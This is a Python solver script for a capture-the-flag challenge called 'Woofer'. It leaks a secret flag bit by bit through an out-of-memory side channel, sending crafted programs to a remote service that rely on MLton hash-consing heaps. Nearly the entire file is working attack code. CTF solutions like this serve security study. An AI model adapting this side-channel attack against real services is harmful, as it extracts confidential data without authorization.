Woofer Solution

#!/usr/bin/env python3
import socket
import BitVector
import threading
import sys
import time
from multiprocessing import Pool

try:
    HOST = sys.argv[1]
    PORT = int(sys.argv[2])
except Exception:
    HOST = "127.0.0.1"
    PORT = 1337
    print("Using default host and port {}:{}".format(HOST, PORT), file=sys.stderr)

VERBOSE = "-v" in sys.argv

# Parallelized and optimized so that we can test that the server is up in under 4 minutes!
# original non-optimized sequential version took 15 minutes to run…
# Side-channel attack:
# The heaps are immutable data structures, so MLton will tend to hash-cons equivalent heaps together.
# When we have many different heaps then, more memory will be used.
# Thus, we make the heaps depend on private values.
# I don't think Mlton will hash-cons mutable data structures (e.g., CTTK integers),
# so we need to make booleans out of them.

flag_len = 36 # taken from source code
flag_bits = flag_len * 8
# Note: since this is a bitvector, we're flipping the order
prefix_len = len("PCTF{") * 8
suffix_len = len("}") * 8

def gen_program(n, test_val, repeats):
    """If we guess right, our heaps will get hash-consed and we won't OOM
    We must use booleans as integers are not hash-consed and units are indistinguishable
    (In theory, structurally identical functions would work also (as long as they don't contain any integers))"""
    flag_bit_decl = 'let flag_bit = flag / {} % 2 = 1 in\n'.format(2**n)
    test_bit_decl = 'let test_bit = ({} :> private bool) in\n'.format(str(bool(test_val)).lower())
    ALLOCS = 3 # tuned experimentally
    alloc_flags = "; ".join(["ref flag_bit"]*ALLOCS)
    alloc_tests = "; ".join(["ref test_bit"]*ALLOCS)
    payload = "(if true\n then ({})\n else ({}));\n".format(alloc_flags, alloc_tests)
    return flag_bit_decl + test_bit_decl + (payload*repeats) + "()"

def check_response(args):
    status = "Bit {:3}: test for {} (allocating 2^{})".format(*args)
    program = gen_program(*args)
    while True:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((HOST, PORT))
            s.sendall(program.encode('ascii'))
            s.shutdown(socket.SHUT_WR)
            response = s.recv(256)
        if VERBOSE: print(status, end=': ', file=sys.stderr)
        if b'out of memory' in response.lower():
            if VERBOSE: print("Got OOM.", file=sys.stderr)
            return False
        elif response:
            if VERBOSE: print("Got response.", file=sys.stderr)
            # print(response, file=sys.stderr)
            return True
        else:
            print("No response! (waiting one second and retrying)", file=sys.stderr)
            time.sleep(1)

intflag = 0
def test_bit(bit, repeats=16):
    if VERBOSE: print("#"*20, "Testing bit", bit, "#"*20, file=sys.stderr)
    while True: # repeat until we found heap that shows difference
        r0 = check_response((bit, 0, repeats))
        r1 = check_response((bit, 1, repeats))

        if r0 != r1:
            return int(bool(r0)) << bit # We found a difference
        elif r0: repeats += 1 # Neither case OOMs
        else: repeats -= 1 # Both cases OOMs
        if repeats <= 0:
            print("Server is probably down... waiting 5 seconds to retry", file=sys.stderr)
            time.sleep(5)
            repeats=5

# Optimization for ascii flag: only test 7/8 of the bits, assume high bits are 0
unknown_bits = [i for i in range(suffix_len, flag_bits - prefix_len) if i % 8 != 7]

intflag = 0
with Pool(3) as p:
    for i, bit in enumerate(p.imap_unordered(test_bit, unknown_bits)):
        intflag |= bit
        print("Progress: {:3}/{:3}".format(i, len(unknown_bits)), end='\r', file=sys.stderr)
print(file=sys.stderr)

# Reconstruct flag
flag = BitVector.BitVector(intVal=intflag>>suffix_len, size=flag_bits-prefix_len-suffix_len)
print("PCTF{" + flag.get_bitvector_in_ascii().strip() + "}")